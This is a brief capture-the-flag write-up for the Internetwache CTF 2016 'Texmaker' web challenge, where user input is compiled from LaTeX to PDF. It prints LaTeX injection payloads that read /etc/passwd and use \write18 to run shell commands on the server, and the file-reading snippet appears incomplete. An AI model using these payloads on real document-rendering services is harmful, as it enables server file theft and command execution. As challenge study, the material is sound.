### Internetwache CTF 2016 — Web90 — Texmaker

This problem was my favorite of those I tried. When first navigating to the challenge site you are presented with an input field which generates LaTex, which is then used to generate a PDF.
This paper discusses methods for exploiting LaTex, including some sample code which could be used for reading files from the server.
\openin5=/etc/passwd
\ifeof5 \let\next=\relax
\else \curline~\\
\fi
\next} %
\ifeof5 Couldn’t Read the File! %
\fi
\immediate\write18(ls /tmp/ > /tmp/tmpfile)
\immediate\write18{php -s ../flag.php > ../pdf/derp.txt}